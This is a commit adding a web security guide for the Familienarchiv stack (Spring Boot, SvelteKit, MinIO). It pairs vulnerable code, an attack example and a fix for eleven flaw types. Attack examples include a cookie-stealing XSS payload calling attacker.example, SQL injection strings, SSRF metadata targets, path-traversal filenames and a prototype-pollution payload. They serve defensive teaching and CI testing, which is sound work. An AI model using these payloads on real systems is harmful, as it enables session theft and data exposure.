chore: add Claude personas, skills, memory, and project docs

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
Marcel
2026-04-14 20:22:39 +02:00
parent 28ac90b529
commit fc27043d40
26 changed files with 12123 additions and 0 deletions

797
docs/security-guide.md Normal file
View File

@@ -0,0 +1,797 @@
# Web Security Guide — Familienarchiv Stack
> *"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question."*
> — Nora "NullX" Steiner, Application Security Engineer
**Stack covered:** Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC
---
## Table of Contents
1. [Mass Assignment / Over-Posting (Spring Boot)](#1-mass-assignment--over-posting-spring-boot)
2. [Spring Boot Actuator Exposure](#2-spring-boot-actuator-exposure)
3. [SQL Injection via JPQL / Native Queries](#3-sql-injection-via-jpql--native-queries)
4. [XSS in SvelteKit](#4-xss-in-sveltekit)
5. [CORS Misconfiguration](#5-cors-misconfiguration)
6. [File Upload Attacks (MinIO / S3)](#6-file-upload-attacks-minio--s3)
7. [JWT / Session Attacks](#7-jwt--session-attacks)
8. [SSRF via User-Controlled URLs](#8-ssrf-via-user-controlled-urls)
9. [Insecure Direct Object Reference in File Downloads](#9-insecure-direct-object-reference-in-file-downloads)
10. [Prototype Pollution (TypeScript / Node.js layer)](#10-prototype-pollution-typescript--nodejs-layer)
11. [Secrets in Config / Environment](#11-secrets-in-config--environment)
---
## 1. Mass Assignment / Over-Posting (Spring Boot)
### The vulnerable pattern
When a controller binds a request body directly to the JPA entity, a client can set **any field** that exists on the model — including ones they should never touch.
```java
// BAD: DocumentController.java
@PutMapping("/api/documents/{id}")
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
document.setId(id);
return documentRepository.save(document); // ← saves WHATEVER the client sent
}
```
**Attack:** The client sends `{"status":"ARCHIVED","id":"<another-user-doc-uuid>"}` in the body and silently promotes a document or takes over a foreign record.
### The fix in context
Use a **DTO** for input and copy only the fields you explicitly allow. Your project already has `DocumentUpdateDTO` — use it everywhere.
```java
// GOOD: DocumentController.java
@PutMapping("/api/documents/{id}")
@RequirePermission(Permission.WRITE_ALL)
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
return documentService.updateDocument(id, dto); // service decides what changes
}
// GOOD: DocumentService.java
@Transactional
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
Document doc = documentRepository.findById(id)
.orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));
// Explicitly copy only fields the DTO is allowed to change
if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
if (dto.getStatus() != null) {
validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
doc.setStatus(dto.getStatus());
}
// id, createdAt, owner — never touched
return documentRepository.save(doc);
}
```
**Why:** JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.
**Catch it in CI:**
```yaml
# Semgrep rule — flag direct @RequestBody Entity in controllers
rules:
- id: mass-assignment-entity-request-body
patterns:
- pattern: |
@RequestBody $ENTITY $PARAM
- pattern-not: |
@RequestBody $DTO $PARAM
message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
languages: [java]
severity: WARNING
```
---
## 2. Spring Boot Actuator Exposure
### The vulnerable pattern
Spring Boot Actuator ships many endpoints (`/actuator/heapdump`, `/actuator/env`, `/actuator/beans`) that expose sensitive runtime data. The default in Boot 4 exposes `health` and `info` — but misconfigured apps expose everything.
```yaml
# BAD: application.yml
management:
endpoints:
web:
exposure:
include: "*" # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
```
**Attack:** `GET /actuator/heapdump` returns a full JVM heap dump. Parse it offline with `jhat` or Eclipse MAT to extract:
- PostgreSQL passwords from `spring.datasource.password`
- MinIO secret keys
- Active Spring Session tokens (from JDBC session store)
- Full in-memory document objects
This is not theoretical — it's one of the most common critical findings in Spring Boot apps.
### The fix in context
```yaml
# GOOD: application.yml (production profile)
management:
endpoints:
web:
exposure:
include: "health,info" # only what you need for load balancer probes
endpoint:
health:
show-details: never # don't expose DB/MinIO health details publicly
```
```yaml
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
management:
endpoints:
web:
exposure:
include: "*" # full access in dev is fine
```
Also secure the actuator path with Spring Security so even `health` isn't public if you don't need it:
```java
// GOOD: SecurityConfig.java
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
.requestMatchers("/api/**").authenticated()
.anyRequest().denyAll()
);
```
**Why:** A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.
**Catch it in CI:**
```bash
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
```
---
## 3. SQL Injection via JPQL / Native Queries
### The vulnerable pattern
Hibernate/JPA protects you when you use `@Query` with named parameters — but not when you concatenate strings.
```java
// BAD: DocumentRepository.java
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
List<Document> searchByTitle(String title);
// Also BAD: building JPQL dynamically via string concat
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
entityManager.createQuery(jpql).getResultList();
```
**Attack:** Input `%'; DROP TABLE documents; --` or `%' UNION SELECT username, password, null, null FROM app_users--` to read the user table.
### The fix in context
```java
// GOOD: Use named parameters — Hibernate escapes them correctly
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
List<Document> searchByTitle(@Param("query") String query);
// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
return documentRepository.findAll((root, cq, cb) -> {
List<Predicate> predicates = new ArrayList<>();
if (query != null) {
predicates.add(cb.like(cb.lower(root.get("title")),
"%" + query.toLowerCase().replace("%", "\\%") + "%"));
}
if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
if (to != null) predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
return cb.and(predicates.toArray(new Predicate[0]));
});
}
```
Note the manual `%` escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.
**Why:** Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.
**Catch it in CI:**
```java
// Unit test with injection payload
@Test
void searchIsSafeAgainstSqlInjection() {
String malicious = "'; DROP TABLE documents; --";
assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
assertTrue(documentRepository.count() > 0); // table still exists
}
```
---
## 4. XSS in SvelteKit
### The vulnerable pattern
Svelte auto-escapes `{variable}` expressions — that's your default protection. The vulnerability appears when you bypass it.
```svelte
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
<div class="description">
{@html document.description}
</div>
<!-- Also BAD: using innerHTML via DOM manipulation -->
<script>
onMount(() => {
container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
});
</script>
```
**Attack:** A user stores `<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>` in the `description` field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).
### The fix in context
```svelte
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
<div class="description">
{document.description}
</div>
<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
sanitize server-side before storing, and again before rendering -->
<script lang="ts">
import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify
// Sanitize before rendering — never trust stored HTML directly
$: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
ALLOWED_ATTR: []
});
</script>
<div class="description">
{@html safeHtml}
</div>
```
**Prefer storing plain text.** Only use `{@html}` when you have a real product requirement for rich formatting — and always with sanitization.
**Why:** `{@html}` disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's `Content-Security-Policy` header is your second line of defense:
```java
// GOOD: SecurityConfig.java — add CSP header
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
)
);
```
**Catch it in CI:**
```bash
# Semgrep: flag all uses of {@html} in .svelte files for manual review
grep -r '{@html' frontend/src/ --include="*.svelte"
```
---
## 5. CORS Misconfiguration
### The vulnerable pattern
```java
// BAD: SecurityConfig.java — wildcard CORS with credentials
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of("*")); // ← wildcard
config.setAllowCredentials(true); // ← with credentials = critical flaw
config.setAllowedMethods(List.of("*"));
// ...
}
```
Browsers block `credentials: true` with `*` origins — but some frameworks silently reflect the request `Origin` header instead:
```java
// BAD: reflects whatever origin the request sends
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
```
**Attack:** Attacker hosts a page at `https://evil.example`. Victim visits it while logged into Familienarchiv. The evil page calls `fetch('https://familienarchiv.example/api/documents', {credentials:'include'})` and reads the family's documents.
### The fix in context
```java
// GOOD: explicit allowlist of origins
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
// Explicit origins only — no wildcards when credentials are involved
List<String> allowedOrigins = List.of(
"http://localhost:3000", // dev frontend
"https://familienarchiv.example" // prod
);
config.setAllowedOrigins(allowedOrigins);
config.setAllowCredentials(true);
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
config.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", config);
return source;
}
```
**Why:** `credentials: include` sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.
**Catch it in CI:**
```bash
# Assert that a random origin is not reflected back
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
| grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
```
---
## 6. File Upload Attacks (MinIO / S3)
### The vulnerable pattern
```java
// BAD: FileService.java — trusting the client-supplied content type and filename
public String uploadFile(MultipartFile file, UUID documentId) {
String filename = file.getOriginalFilename(); // ← attacker controls this
String contentType = file.getContentType(); // ← attacker controls this (HTTP header)
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(filename) // path traversal: "../../etc/passwd"
.contentType(contentType) // stored XSS via "text/html"
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return filename;
}
```
**Attacks:**
- **Path traversal:** filename `../../config/application.yml` writes outside the intended directory
- **Stored XSS via upload:** upload an HTML file with content type `text/html`, get a link, share it — browser executes the JS
- **Large file DoS:** no size limit → 10 GB upload exhausts disk/memory
### The fix in context
```java
// GOOD: FileService.java
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
"application/pdf", "image/jpeg", "image/png", "image/tiff",
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"
);
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB
public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
// 1. Reject disallowed types — detect from magic bytes, not just the header
String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"File type not allowed: " + detectedType);
}
// 2. Enforce size limit
if (file.getSize() > MAX_FILE_SIZE) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
}
// 3. Generate a server-controlled object key — never use the original filename
String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(objectKey) // server-controlled path
.contentType(detectedType) // server-detected, not client-supplied
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return objectKey;
}
private String detectMimeType(InputStream stream) throws IOException {
Tika tika = new Tika();
return tika.detect(stream);
}
```
**Also:** Set `Content-Disposition: attachment` on file download responses to prevent inline rendering in the browser:
```java
// GOOD: DocumentController.java — serve files as download, not inline
ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"document.pdf\"")
.header("Content-Type", "application/pdf")
.body(fileBytes);
```
**Why:** Browsers will render any response with `Content-Type: text/html` as a page, executing scripts. Serving files with `Content-Disposition: attachment` forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.
**Catch it in CI:**
```java
@Test
void rejectsHtmlFileUpload() throws Exception {
MockMultipartFile htmlFile = new MockMultipartFile(
"file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
.andExpect(status().isBadRequest());
}
```
---
## 7. JWT / Session Attacks
You use **Spring Session JDBC** — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.
### The vulnerable pattern
```java
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
Jwts.parserBuilder()
.build() // ← no signing key configured
.parseClaimsJws(token); // accepts unsigned tokens
```
```java
// BAD: not invalidating the session on logout
@PostMapping("/logout")
public void logout(HttpSession session) {
// session.invalidate() never called — old session ID still works
SecurityContextHolder.clearContext();
}
```
### The fix in context
```java
// GOOD: Spring Security logout invalidates the session automatically
http.logout(logout -> logout
.logoutUrl("/logout")
.invalidateHttpSession(true) // deletes from spring_session table
.deleteCookies("SESSION") // clears the client cookie
.logoutSuccessUrl("/login")
);
```
```java
// GOOD: if you add JWT later, always specify the algorithm explicitly
String secret = environment.getRequiredProperty("app.jwt.secret");
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));
Jwts.parserBuilder()
.setSigningKey(key)
.requireAudience("familienarchiv-api")
.build()
.parseClaimsJws(token); // rejects alg:none and wrong-key tokens
```
**Session fixation protection** — Spring Security enables this by default, but verify it's not disabled:
```java
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
http.sessionManagement(session -> session
.sessionFixation().migrateSession() // new session ID after login
.maximumSessions(5) // limit concurrent sessions per user
);
```
**Why:** An `alg:none` JWT attack lets an attacker craft tokens with arbitrary claims (e.g., `{"role":"ADMIN"}`) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.
**Catch it in CI:**
```java
@Test
void sessionIsInvalidatedOnLogout() throws Exception {
// Login, capture session cookie
MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
.andExpect(status().is3xxRedirection()).andReturn();
String sessionCookie = login.getResponse().getHeader("Set-Cookie");
// Logout
mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());
// Assert old session is rejected
mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
.andExpect(status().isUnauthorized());
}
```
---
## 8. SSRF via User-Controlled URLs
### The vulnerable pattern
If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.
```java
// BAD: DocumentService.java — fetching user-supplied URL
public byte[] fetchDocumentFromUrl(String url) throws IOException {
return new URL(url).openStream().readAllBytes(); // ← no validation
}
```
**Attack:** Supply `http://169.254.169.254/latest/meta-data/` (AWS metadata), `http://minio:9000/` (internal MinIO admin), or `http://localhost:8080/actuator/env` (your own actuator) to probe or exfiltrate internal services.
### The fix in context
```java
// GOOD: validate against an allowlist before fetching
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");
public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
URI uri;
try {
uri = new URI(rawUrl);
} catch (URISyntaxException e) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
}
// Allowlist check
if (!ALLOWED_HOSTS.contains(uri.getHost())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"URL host not permitted: " + uri.getHost());
}
// Enforce HTTPS only
if (!"https".equalsIgnoreCase(uri.getScheme())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
}
// Resolve to IP and block private ranges
InetAddress addr = InetAddress.getByName(uri.getHost());
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
}
HttpClient client = HttpClient.newBuilder()
.followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
.connectTimeout(Duration.ofSeconds(5))
.build();
HttpResponse<byte[]> response = client.send(
HttpRequest.newBuilder(uri).GET().build(),
HttpResponse.BodyHandlers.ofByteArray()
);
return response.body();
}
```
**Why:** Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.
**Catch it in CI:** Test that `http://127.0.0.1/`, `http://169.254.169.254/`, and `http://minio:9000/` are rejected with an error status.
---
## 9. Insecure Direct Object Reference in File Downloads
### The vulnerable pattern
```java
// BAD: FileService.java — serving any object key the client requests
@GetMapping("/api/files/{objectKey}")
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
byte[] data = fileService.download(objectKey); // ← no ownership check
return ResponseEntity.ok(data);
}
```
**Attack:** A user who knows (or guesses) another document's `objectKey` can download its file. Object keys in your current pattern are `{documentId}/{uuid}.pdf` — someone with `READ_ALL` can enumerate by trying known document IDs.
### The fix in context
```java
// GOOD: tie file access to document access — go through the document, not directly to storage
@GetMapping("/api/documents/{id}/file")
@RequirePermission(Permission.READ_ALL)
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
// This call checks ownership — if the user can't see the document, they get 404
Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));
if (doc.getStoragePath() == null) {
throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
}
byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";
return ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
.header("Content-Type", doc.getMimeType())
.body(data);
}
```
**Why:** The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.
---
## 10. Prototype Pollution (TypeScript / Node.js layer)
### The vulnerable pattern
Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).
```typescript
// BAD: merging user input into an object with a recursive merge utility
function mergeDeep(target: any, source: any) {
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) {
mergeDeep(target[key] ??= {}, source[key]);
} else {
target[key] = source[key]; // ← key could be "__proto__"
}
}
}
// Attacker sends: {"__proto__": {"isAdmin": true}}
mergeDeep(userSettings, JSON.parse(req.body));
// Now: ({}).isAdmin === true — for EVERY object in this process
```
### The fix in context
```typescript
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
// structuredClone is available in Node 17+ and is prototype-safe
const safeCopy = structuredClone(userInput);
// GOOD: if you must merge, use Object.create(null) as base (no prototype)
const settings = Object.create(null) as Record<string, unknown>;
Object.assign(settings, sanitizedInput);
// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
import { z } from 'zod';
const UserSettingsSchema = z.object({
theme: z.enum(['light', 'dark']),
language: z.enum(['de', 'en', 'es']),
});
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
```
**Why:** `__proto__` is a special property on all JavaScript objects. Writing to it affects `Object.prototype` — the root of every plain object in the Node.js process. If your authorization logic does `if (user.isAdmin)` and prototype pollution sets `Object.prototype.isAdmin = true`, every user becomes admin for the lifetime of the process.
**Catch it in CI:**
```bash
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
npm audit --audit-level=high
```
---
## 11. Secrets in Config / Environment
### The vulnerable pattern
```yaml
# BAD: application.yml — secrets in version control
spring:
datasource:
url: jdbc:postgresql://localhost:5432/familienarchiv
username: app
password: SuperSecret123! # ← checked into git
minio:
access-key: minioadmin
secret-key: minioadmin123
```
```bash
# BAD: .env with real credentials committed
MINIO_SECRET_KEY=production-secret-key-here
```
### The fix in context
```yaml
# GOOD: application.yml — reference environment variables, never inline secrets
spring:
datasource:
url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
username: ${DB_USERNAME:app}
password: ${DB_PASSWORD} # no default — fails fast if not set
minio:
access-key: ${MINIO_ACCESS_KEY}
secret-key: ${MINIO_SECRET_KEY}
```
```yaml
# GOOD: docker-compose.yml — inject from host environment or .env file
services:
backend:
environment:
- DB_PASSWORD=${DB_PASSWORD}
- MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
```
```bash
# .env.example (committed — template only, no real values)
DB_PASSWORD=change-me
MINIO_SECRET_KEY=change-me
# .env (NOT committed — add to .gitignore)
DB_PASSWORD=actual-production-secret
```
**Verify your .gitignore:**
```gitignore
.env
.env.local
*.env
application-prod.yml
application-production.yml
```
**Why:** Git history is permanent. Even if you delete a secret in a later commit, it's still in `git log` and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.
**Catch it in CI:**
```bash
# Run trufflehog or gitleaks on every PR
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
```
---
## Summary Matrix
| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|---|---|---|---|---|
| 1 | Mass Assignment | HIGH | `@RequestBody Entity` in any controller | DTOs everywhere |
| 2 | Actuator Exposure | CRITICAL | `include: "*"` in prod | Allowlist + require ADMIN |
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
| 4 | XSS | HIGH | `{@html}` with stored content | DOMPurify + CSP header |
| 5 | CORS Misconfiguration | HIGH | `allowedOriginPatterns("*")` with credentials | Explicit origin allowlist |
| 6 | File Upload | MEDIUMHIGH | No type detection, no size limit | Tika magic bytes + size cap |
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |
---
## Recommended CI Pipeline Additions
```yaml
# .github/workflows/security.yml (or equivalent in your Gitea CI)
security:
steps:
- name: Dependency audit (npm)
run: cd frontend && npm audit --audit-level=high
- name: Dependency audit (Maven)
run: cd backend && ./mvnw org.owasp:dependency-check-maven:check
- name: Secret scanning
run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
- name: SAST (Semgrep)
run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/
- name: Actuator check (integration)
run: |
curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
curl -sf http://localhost:8080/actuator/env && exit 1 || true
```
---
*Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021*
*Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+*